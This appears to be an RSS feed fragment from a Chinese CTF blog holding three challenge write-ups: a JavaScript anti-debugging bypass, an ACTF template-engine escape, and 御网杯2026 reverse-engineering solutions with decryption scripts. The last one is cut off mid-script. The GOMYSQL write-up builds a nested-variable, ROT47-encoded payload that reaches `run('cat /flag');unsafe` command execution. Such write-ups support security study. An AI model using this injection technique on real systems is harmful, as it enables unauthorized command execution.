&lt;pre&gt;&lt;code&gt;    const double = Function.call`window.stepﾠ*=ﾠ2`;ﾠ// To the debugger,ﾠthis isﾠinvisible
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一条就可以判断为扯淡了&lt;/p&gt;
&lt;p&gt;看这里的算法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看看改原始step的逻辑，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function instrument() {
  f = arguments[0];
  // TODO: figure out how to get a runtime reference to the debugged function in this debug
  // condition context, so we can inspect it at runtime, in case it changes
  debug(f, &quot;window.c &amp;amp;&amp;amp; function perf(){ const l = `&quot; + f + &quot;`.length; window.step += l; }() // poor man&apos;s &apos;performance counter`&quot;);
  // Trigger a breakpoint on all checks when detecting tampering
  debug(f, &quot;document.documentElement.outerHTML.length !== 14347&quot;);
}

function instrumentPrototype(o) {
  Object.entries(Object.getOwnPropertyDescriptors(o))
    .filter(p =&amp;gt; p[1].value instanceof Function)
    .forEach(p =&amp;gt; Object.defineProperty(o, p[0], {
      get: () =&amp;gt; (step++) &amp;amp;&amp;amp; p[1].value
    }));
}

function instrumentPrototypeOfPrototype(o) {
  const handler = {};
  Reflect.ownKeys(Reflect).forEach(h =&amp;gt; handler[h] = (a,b,c) =&amp;gt; (step++) &amp;amp;&amp;amp; Reflect[h](a, b, c));
  Object.setPrototypeOf(o, new Proxy(Object.getPrototypeOf(o), handler));
}

[Array, Array.prototype, String.prototype, Math, console, Reflect].map(o =&amp;gt;
  Object.values(Object.getOwnPropertyDescriptors(o)).map(x =&amp;gt; x.value || x.get).filter(x =&amp;gt; x instanceof Function) 
                                                                      ).flat().concat(check, eval).forEach(instrument);
instrumentPrototype(Array.prototype);
instrumentPrototypeOfPrototype(Array.prototype);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里基本堵死了js直接调试，debugger的疯狂弹干扰，原型检索，函数禁用&lt;/p&gt;
&lt;p&gt;所以很难让我恢复出原本check函数运行状态&lt;/p&gt;
&lt;p&gt;一旦触碰限制，真正的step++ ，那样就直接将随机数计算打乱&lt;/p&gt;
&lt;p&gt;但是这里，我是知道它在一步步算，&lt;/p&gt;
&lt;p&gt;这样可以通过修改js让他直接吐出来&lt;/p&gt;
&lt;p&gt;这里还有一个拦截项，为了防止篡改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;debug(f, &quot;document.documentElement.outerHTML.length !== 14347&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里可以改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;debug(f, &quot;document.documentElement.outerHTML.length == 99999&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就永为假，不会触发修改step&lt;/p&gt;
&lt;p&gt;接下来只要修改吐flag即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    while (!window.success) {
        j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;
        if (flag[0] == pool[j % pool.length] &amp;amp;&amp;amp; (window.step &amp;lt; 1000000)) {
            iﾠ= j;
            flag.shift();
            pool.splice(j % pool.length, 1);
            renderFrame();
            double();
            if (!pool.length&amp;amp;&amp;amp;!flag.length) window.success = true;
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以在中间加一段，因为我并未触发加step的机制，所以默认它给的flag字符都是正确的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   while (!window.success) {
        j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;     
            iﾠ= j;
            let split = pool[j % pool.length]
            answer += split
            flag.shift();
            pool.splice(j % pool.length, 1);
            renderFrame();
            double();
            if (!pool.length){
              console.log(answer)
            }
            if (!pool.length&amp;amp;&amp;amp;!flag.length) window.success = true;        
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如此如此&lt;/p&gt;
</content:encoded></item><item><title>自定义模板引擎的 RCE 绕过：从嵌套变量到 strrot “特洛伊木马”</title><link>https://ymsora.com/posts/gomysql/</link><guid isPermaLink="true">https://ymsora.com/posts/gomysql/</guid><description>来源ACTF GOMYSQL</description><pubDate>Wed, 03 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;自定义模板引擎的 RCE 绕过：从嵌套变量到 strrot “特洛伊木马”&lt;/h1&gt;
&lt;p&gt;工整一些，主要是想探讨一下一个有趣的替换模板问题，也就是嵌套正则导致的绕过，来源于ACTF&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;templateCommandRE = regexp.MustCompile(`(?is)&amp;lt;\\.*?/&amp;gt;`)
templateVarRE = regexp.MustCompile(`(?is)%(.*)%`)
templateFuncRE = regexp.MustCompile(`(?is)^&amp;lt;\\\s*?(([a-z0-9_]+)\(&apos;([^&apos;]*?)&apos;\);\s*?(unsafe)?\s*?)\s*?/&amp;gt;$`)
quotedCommandRE = regexp.MustCompile(`(?is)^&amp;lt;\\(\s*?(&apos;[^&apos;]*?&apos;)*?\s*?)*?/&amp;gt;$`)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在我看来有点像贪婪和非贪婪的解析错位导致的逃逸&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func parseTemplateString(input string, vars map[string]string) (string, error) {
    out := input
    for i := 0; i &amp;lt; 100; i++ {
        cmd := templateCommandRE.FindString(out)
        if cmd == &quot;&quot; {
            return out, nil
        }
        replacement, err := commandHandler(cmd, vars)
        if err != nil {
            return &quot;&quot;, err
        }
        out = strings.ReplaceAll(out, cmd, replacement)
    }
    return &quot;&quot;, errors.New(&quot;template recursion limit exceeded&quot;)
}

func commandHandler(cmd string, vars map[string]string) (string, error) {
    handled := cmd
    if matches := templateVarRE.FindStringSubmatch(cmd); matches != nil {
        name := matches[1]
        handled = strings.ReplaceAll(handled, &quot;%&quot;+name+&quot;%&quot;, &quot;&apos;&quot;+getVar(name, vars)+&quot;&apos;&quot;)
    } else if matches := templateFuncRE.FindStringSubmatch(cmd); matches != nil {
        body := matches[1]
        funcName := strings.ToLower(matches[2])
        param := matches[3]
        unsafe := matches[4] != &quot;&quot;
        fn, ok := templateFuncs[funcName]
        if !ok {
            return &quot;undefined&quot;, nil
        }
        if !unsafe &amp;amp;&amp;amp; !fn.safe {
            return &quot;&quot;, errAccessDenied
        }
        res, err := fn.call(param)
        if err != nil {
            return &quot;&quot;, err
        }
        handled = strings.ReplaceAll(handled, body, &quot;&apos;&quot;+res+&quot;&apos;&quot;)
    }
    if handled != cmd {
        return handled, nil
    }
    if !quotedCommandRE.MatchString(cmd) {
        return &quot;undefined&quot;, nil
    }
    out := strings.ReplaceAll(cmd, &quot;&apos;&quot;, &quot;&quot;)
    out = strings.ReplaceAll(out, `&amp;lt;\`, &quot;&quot;)
    out = strings.ReplaceAll(out, `/&amp;gt;`, &quot;&quot;)
    return out, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要构造的命令需要包含unsafe才能command执行，但是这里只能控制%name%并且没法确定结构，&lt;/p&gt;
&lt;p&gt;可以细看模板的替换规律，进模板之前都会做一次贪婪匹配&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;templateCommandRE = regexp.MustCompile(`(?is)&amp;lt;\\.*?/&amp;gt;`)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后第二层就是替换%%模板，又或者传进的是函数，那就检查函数，&lt;/p&gt;
&lt;p&gt;得益于在这开始是循环进行的，也就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i := 0; i &amp;lt; 100; i++ {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以进行嵌套体的传入，也就是说，第一步会消去%%化为&apos;&apos;并且将模板原封不动传入，这里是贪婪匹配，在最后如果非函数格式，又会对消除&apos; &apos;&lt;/p&gt;
&lt;p&gt;并且上述的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;strrot&quot;: {
        safe: true,
        call: func(value string) (string, error) { return strrot(value), nil },
    },
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;函数可以原封不动return字符串，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name = &quot;&amp;lt;&amp;lt;%n1%&quot;
n1 = &quot;%n2%&quot;
n2 =r&quot;\\%n3%&quot;
n3 = &quot;%n4%&quot;
n4 = &quot;strrot(%&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样嵌套体进行上传，数次%%替换就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;\ &apos;&amp;lt;&amp;lt;&apos;&apos;\\&apos;&apos;strrot(%&apos;&apos;&apos;&apos;&apos; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样并非函数在检查到非%%和函数的情况下&lt;/p&gt;
&lt;p&gt;消除对称的&apos; &apos;后就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;\&amp;lt;&amp;lt;\\strrot(% /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再消除&amp;lt;\ /&amp;gt;后就成了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;\strrot(%，
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;紧接着就进入了新一轮匹配&lt;/p&gt;
&lt;p&gt;这样就是贪婪匹配了，接下来的模板，直到下一个&amp;gt;，因为gin对于变量名很宽松&lt;/p&gt;
&lt;p&gt;这样就可以构造出很长的变量名，而所以说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;\strrot(%xxxx\&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;中间的xxxx可以进行任意替换，&lt;/p&gt;
&lt;p&gt;并且strrot函数可以原封不动返回，看到这我想，妙哉~~&lt;/p&gt;
&lt;p&gt;如此再利用%%替换为&apos;&apos;可以直接替换为函数体，但是怎么插入拼接需要的执行体呢&lt;/p&gt;
&lt;p&gt;编码，是的，strrot函数会返回解码内容，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ROT47(&quot;/&amp;gt;&amp;lt;\run(&apos;cat /flag&apos;);unsafe/&amp;gt;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是变成了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;\strrot(&apos;&amp;lt;rotated_payload&amp;gt;&apos;); /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后整个结构体就变成了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;\/&amp;gt;&amp;lt;\run(&apos;cat /flag&apos;);unsafe/&amp;gt;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最开始的非贪婪匹配又会将空的&amp;lt;/&amp;gt;删去，&lt;/p&gt;
&lt;p&gt;紧接着匹配的就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;\run(&apos;cat /flag&apos;);unsafe/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如此一来就可以对于模板的限制进行逃逸了，好困，bye&lt;/p&gt;
</content:encoded></item><item><title>御网杯2026 writeup</title><link>https://ymsora.com/posts/%E5%BE%A1%E7%BD%912026/</link><guid isPermaLink="true">https://ymsora.com/posts/%E5%BE%A1%E7%BD%912026/</guid><description>题解</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;御网杯2026 writeup&lt;/h1&gt;
&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;(一) CrackMe_1_3.apk&lt;/h3&gt;
&lt;h4&gt;1. 文件格式分析&lt;/h4&gt;
&lt;p&gt;拿到题目，是个 APK 文件。用 JEB 定位主函数 &lt;code&gt;MainActivity&lt;/code&gt;，发现校验逻辑藏在 Native 层的 &lt;code&gt;libmyapplication.so&lt;/code&gt; 库（这里基本是干扰项）。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;libmyapplication.so&lt;/code&gt; 定义了 4 个校验方法，分别调用不同的 Native 函数 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;a()&lt;/code&gt; → &lt;code&gt;NativeBridge.c()&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;aaa()&lt;/code&gt; → &lt;code&gt;NativeBridge.cd()&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;bbbb()&lt;/code&gt; → &lt;code&gt;NativeBridge.dc()&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;bc()&lt;/code&gt; → &lt;code&gt;NativeBridge.ab()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里的 &lt;code&gt;abc&lt;/code&gt; 函数基本都是干扰项 ，只有 &lt;code&gt;this.binding.btnVerify.setOnClickListener((View v) -&amp;gt; this.a(v));&lt;/code&gt; 是真正的校验 。&lt;/p&gt;
&lt;h4&gt;2. 静态分析&lt;/h4&gt;
&lt;p&gt;解压 APK 文件，提取 SO 库，然后拖入 IDA 中静态分析 。&lt;/p&gt;
&lt;p&gt;在导出表里能看到 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;Java_com_cr_myapplication_MainActivity_stringFromJNI（@0x24a00）&lt;/code&gt;：反编译发现只是返回 &lt;code&gt;&quot;Hello from C++&quot;&lt;/code&gt;，属于干扰项 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;JNI_OnLoad（@0x24f80）&lt;/code&gt;：真正的入口 。&lt;/p&gt;
&lt;p&gt;跟进 &lt;code&gt;JNI_OnLoad&lt;/code&gt; → 调用 &lt;code&gt;sub_25070&lt;/code&gt; ：&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Class = FindClass(env, &quot;com/cr/myapplication/NativeBridge&quot;);
RegisterNatives(env, Class, off_57214, 3); // 注册 3 个方法
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读取 &lt;code&gt;off_57214&lt;/code&gt; 这个 &lt;code&gt;JNINativeMethod[3]&lt;/code&gt;（每项 3 个指针）：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;name&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;signature&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;fnPtr&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;&lt;code&gt;([B)[B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0x25110&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;&lt;code&gt;([B)[B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0x25250&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(Ljava/lang/String;)Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0x25390&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;根据签名 &lt;code&gt;(Ljava/lang/String;)Z&lt;/code&gt;（String → boolean），可以确定 &lt;code&gt;c&lt;/code&gt; 就是校验函数 。&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;StringUTFChars = GetStringUTFChars(input); // 取输入字符串
// build std::string obj(StringUTFChars);
// data = obj.c_str(); len = obj.size();
sub_257A0(obj_1, data, len); // ★核心变换：返回字节数组
sub_27590(obj_2, obj_1); // 把字节数组转成 hex 字符串
for (i = 0; i &amp;lt; 8; i++) // sub_27750() 恒返回 8
    if (sub_27760(obj_2, &amp;amp;string_array[i])) // 与第 i 个目标串比较
        return 1; // 命中任一即通过
return 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;sub_27590&lt;/code&gt; 是 &lt;code&gt;bytes → hex&lt;/code&gt;：查表 &lt;code&gt;byte_F371 = &quot;0123456789abcdef&quot;&lt;/code&gt;（小写），每字节 &lt;code&gt;push_back(table[b&amp;gt;&amp;gt;4]); push_back(table[b&amp;amp;0xF])&lt;/code&gt; 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;sub_27760&lt;/code&gt; 是字符串比较 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;目标是个 &lt;code&gt;std::array&amp;lt;std::string,8&amp;gt;&lt;/code&gt;，地址为 &lt;code&gt;0x5A1CC&lt;/code&gt; 。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 核心变换 ChaCha20&lt;/h4&gt;
&lt;p&gt;跟进 &lt;code&gt;sub_257A0&lt;/code&gt; ：&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sub_25AF0(out, len); // 分配 len 字节输出
counter = 1; // ★ 计数器从 1 开始
for (i = 0; i &amp;lt; len; i += n) {
    sub_26D20(key_ptr, counter++, nonce_ptr, block); // 生成 64 字节 keystream
    n = min(64, len - i);
    for (j = 0; j &amp;lt; n; j++)
        out[i+j] = block[j] ^ data[i+j]; // 明文 XOR keystream
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是典型的 64 字节分块、计数器逐块自增的流密码 。再看 keystream 生成器 &lt;code&gt;sub_26D20&lt;/code&gt; ：&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;memcpy(state, &quot;expand 32-byte k&quot;, 16); // ← ChaCha 魔数
state[4..11] = key (32 字节, 小端) // 来自 key_ptr = &amp;amp;unk_F345
state[12] = counter
state[13..15] = nonce (12 字节, 小端) // 来自 nonce_ptr = &amp;amp;unk_F365
for (i = 0; i &amp;lt; 10; i++) { // 10 次双轮 = 20 轮
    QR(0,4,8,12); QR(1,5,9,13); QR(2,6,10,14); QR(3,7,11,15); // 列轮
    QR(0,5,10,15); QR(1,6,11,12); QR(2,7,8,13); QR(3,4,9,14); // 对角轮
}
for (j=0;j&amp;lt;16;j++) out[j] = state[j] + init[j];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;quarter-round sub_27200&lt;/code&gt; 旋转量为 &lt;code&gt;16 / 12 / 8 / 7&lt;/code&gt;，字读写 &lt;code&gt;sub_271C0/sub_27310&lt;/code&gt; 为小端。由此可知，这就是&lt;strong&gt;标准 ChaCha20（RFC 8439）&lt;/strong&gt;，唯一的“非标”改动是块计数器从 &lt;code&gt;1&lt;/code&gt; 开始（而不是 0）。&lt;/p&gt;
&lt;h4&gt;4. 解密脚本&lt;/h4&gt;
&lt;p&gt;校验逻辑：&lt;code&gt;hex(ChaCha20_XOR(flag)) == target_hex&lt;/code&gt; 。由于 XOR 流密码具有自反性（同 key/nonce/counter），所以：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag = ChaCha20_keystream(counter=1) XOR unhex(target_hex)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

def rotl(x, n): 
    return ((x &amp;lt;&amp;lt; n) &amp;amp; 0xffffffff) | (x &amp;gt;&amp;gt; (32 - n))

def qr(s, a, b, c, d):
    s[a] = (s[a] + s[b]) &amp;amp; 0xffffffff; s[d] ^= s[a]; s[d] = rotl(s[d], 16)
    s[c] = (s[c] + s[d]) &amp;amp; 0xffffffff; s[b] ^= s[c]; s[b] = rotl(s[b], 12)
    s[a] = (s[a] + s[b]) &amp;amp; 0xffffffff; s[d] ^= s[a]; s[d] = rotl(s[d], 8)
    s[c] = (s[c] + s[d]) &amp;amp; 0xffffffff; s[b] ^= s[c]; s[b] = rotl(s[b], 7)

def block(key, counter, nonce):
    const = b&quot;expand 32-byte k&quot;
    s  = list(struct.unpack(&apos;&amp;lt;4I&apos;, const))
    s += list(struct.unpack(&apos;&amp;lt;8I&apos;, key))
    s += [counter]
    s += list(struct.unpack(&apos;&amp;lt;3I&apos;, nonce))
    w = list(s)
    for _ in range(10):
        qr(w, 0, 4, 8, 12); qr(w, 1, 5, 9, 13); qr(w, 2, 6, 10, 14); qr(w, 3, 7, 11, 15)
        qr(w, 0, 5, 10, 15); qr(w, 1, 6, 11, 12); qr(w, 2, 7, 8, 13); qr(w, 3, 4, 9, 14)
    out = [(w[i] + s[i]) &amp;amp; 0xffffffff for i in range(16)]
    return struct.pack(&apos;&amp;lt;16I&apos;, *out)

def chacha20(key, nonce, data, counter=1):
    res = bytearray()
    ctr = counter
    for i in range(0, len(data), 64):
        ks = block(key, ctr, nonce)
        ctr += 1
        res += bytes(c ^ k for c, k in zip(data[i:i+64], ks))
    return bytes(res)

key = bytes([0x14,0x92,0x63,0xa1,0x6f,0x2d,0x89,0xcb,0xf0,0x37,0x5b,0x1c,0xa9,0x4e,0x78,0xd3,
             0x22,0x60,0x17,0xee,0x9a,0xbc,0x4d,0x08,0x53,0xe1,0x76,0x2a,0x8d,0xc4,0x90,0x3f])
nonce = bytes([0x44,0x33,0x22,0x11,0xab,0xcd,0xef,0x66,0x88,0x99,0xaa,0x55])
target_hex = (&quot;d097c3f6d229da23ab72ad35ebe681988a148d2771f1b894c4405595c7587d19&quot;
              &quot;8378a5c2fb9d3bf80e91eb018dc396042a72ef33d01bf01bb2c32b3abb245620&quot;
              &quot;799d36adc57c&quot;)

flag = chacha20(key, nonce, bytes.fromhex(target_hex), counter=1)
print(flag.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(二) CrackMe_2_2.apk&lt;/h3&gt;
&lt;h4&gt;1. 动静态结合分析&lt;/h4&gt;
&lt;p&gt;拿到题目 APK，扔进 JEB 里面找到主函数进行反编译分析 。&lt;/p&gt;
&lt;p&gt;发现包含一个 Native 方法：&lt;code&gt;public static native boolean verifyFlag(String arg0) {}&lt;/code&gt; 。但在整个 &lt;code&gt;MainActivity&lt;/code&gt; 里，该方法从未被调用，&lt;code&gt;onCreate&lt;/code&gt; 只调用了 &lt;code&gt;b()&lt;/code&gt; 。&lt;/p&gt;
&lt;p&gt;所有真正的逻辑都集中在 &lt;code&gt;b()&lt;/code&gt; 方法里，它的实际行为是&lt;strong&gt;动态加载 DEX&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结论：&lt;/strong&gt; 真正的输入框、校验按钮、校验逻辑全部都在 &lt;code&gt;classes3.dex&lt;/code&gt; 里的 &lt;code&gt;com.cr.test.wide&lt;/code&gt; 类中 。&lt;/p&gt;
&lt;p&gt;在 JEB 中定位到 &lt;code&gt;classes3.dex&lt;/code&gt;，查看真正的校验逻辑，发现最终调用落在了 &lt;code&gt;libcrackme2.so&lt;/code&gt; 的 &lt;code&gt;Java_com_cr_crackme2_MainActivity_verifyFlag&lt;/code&gt; 层 。&lt;/p&gt;
&lt;h4&gt;2. 分析 verifyFlag (0x240f0)&lt;/h4&gt;
&lt;p&gt;解压 APK 提取出 SO 库放入 IDA 分析 ：&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;input = GetStringUTFChars(jstr);
len   = strlen(input);
ptr   = sub_24440(input, len, &amp;amp;size); // ① PKCS#7 填充
ptr_1 = malloc(size);
des_ecb_encrypt(ptr, size, &quot;12345678&quot;, ptr_1); // ② DES-ECB 加密 → ptr_1
bytesToHex(v10, ptr, len_blocks); // ③ 对【ptr】做 hex（注意是明文！）
sub_23DC0(v10);
for (i = 0; i &amp;lt; 1; i++)
    if (sub_24510(&amp;amp;byte_58010[12*i], v10)) // ④ 与目标串比较
        v6 = 1; // 通过
free(ptr); free(ptr_1);
return v6;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逐个分析子函数：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;sub_24440&lt;/code&gt;：标准 PKCS#7 填充（块大小为 8）。当 &lt;code&gt;len&lt;/code&gt; 已是 8 的倍数时，&lt;code&gt;pad = 8&lt;/code&gt;，会补满一整块 8 个 &lt;code&gt;0x08&lt;/code&gt; 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;des_ecb_encrypt&lt;/code&gt;：把 &lt;code&gt;ptr&lt;/code&gt; 用 key &lt;code&gt;&quot;12345678&quot;&lt;/code&gt; 做 DES-ECB 加密输出到 &lt;code&gt;ptr_1&lt;/code&gt; 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;bytesToHex&lt;/code&gt;：标准 &lt;code&gt;bytes → hex&lt;/code&gt;。虽然反编译显示丢了参数，但实际 hex 的对象是 &lt;code&gt;ptr&lt;/code&gt;（填充后的&lt;strong&gt;明文&lt;/strong&gt;），而不是 &lt;code&gt;ptr_1&lt;/code&gt;（DES 密文）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;sub_24510&lt;/code&gt;：&lt;code&gt;std::string&lt;/code&gt; 比较，与 &lt;code&gt;byte_58010&lt;/code&gt; 处的目标串进行比对 。&lt;/p&gt;
&lt;h4&gt;3. 关键陷阱：DES 是幌子&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ptr_1&lt;/code&gt;（DES 密文）算出来后直接被 &lt;code&gt;free&lt;/code&gt;，全程没有参与任何比对逻辑 。也就是说，&lt;code&gt;&quot;12345678&quot; + DES&lt;/code&gt; 是&lt;strong&gt;纯干扰项（Red Herring）&lt;/strong&gt; 。真正的判定逻辑为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hex( PKCS7_pad(flag) ) == 目标串
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4. 提取目标值与解密&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;byte_58010&lt;/code&gt; 静态看为空，在初始化函数 &lt;code&gt;sub_23DF0&lt;/code&gt;（由 &lt;code&gt;__cxa_atexit&lt;/code&gt; 注册）中可以看到其被赋了真实值 ： &lt;code&gt;std::string::basic_string(byte_58010, &quot;666c61677b484e43544636325244594e54464d5a3154467d0808080808080808&quot;);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;直接对目标 Hex 进行解码，并剥离 PKCS#7 填充即可 ：&lt;/p&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;h = &quot;666c61677b484e43544636325244594e54464d5a3154467d0808080808080808&quot;
b = bytes.fromhex(h)
print(b)                
pad = b[-1]              
flag = b[:-pad]          
print(flag.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{HNCTF62RDYNTFMZ1TF}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(三) py_obf_10.pyc&lt;/h3&gt;
&lt;h4&gt;1. 逆向分析&lt;/h4&gt;
&lt;p&gt;拿到题目是一个 &lt;code&gt;.pyc&lt;/code&gt; 文件 。使用 &lt;code&gt;pycdas&lt;/code&gt; 工具将其转换成 Python 字节码汇编语言 ：&lt;/p&gt;
&lt;p&gt;PowerShell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\pycdas.exe .\py_obf_10.pyc &amp;gt; py_obf_10.dis
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;转换后部分字符串在反编译工具中可能存在乱码，但对照结构可完美将其还原为 Python 源代码 ：&lt;/p&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

def decrypt_flag(encoded_data, key):
    decoded = base64.b64decode(encoded_data)
    return &apos;&apos;.join(chr(b ^ key) for b in decoded)

def main():
    encoded_flag = &apos;aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly&apos;
    xor_key = 15
    user_input = input(&apos;请输入flag: &apos;).strip()
    correct_flag = decrypt_flag(encoded_flag, xor_key)
    if user_input == correct_flag:
        print(&apos;正确！&apos;)
        return
    print(&apos;错误！&apos;)

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 解密脚本&lt;/h4&gt;
&lt;p&gt;核心逻辑仅为 Base64 解码后进行固定的异或（XOR 15）操作 ，直接编写一行脚本解密 ：&lt;/p&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64
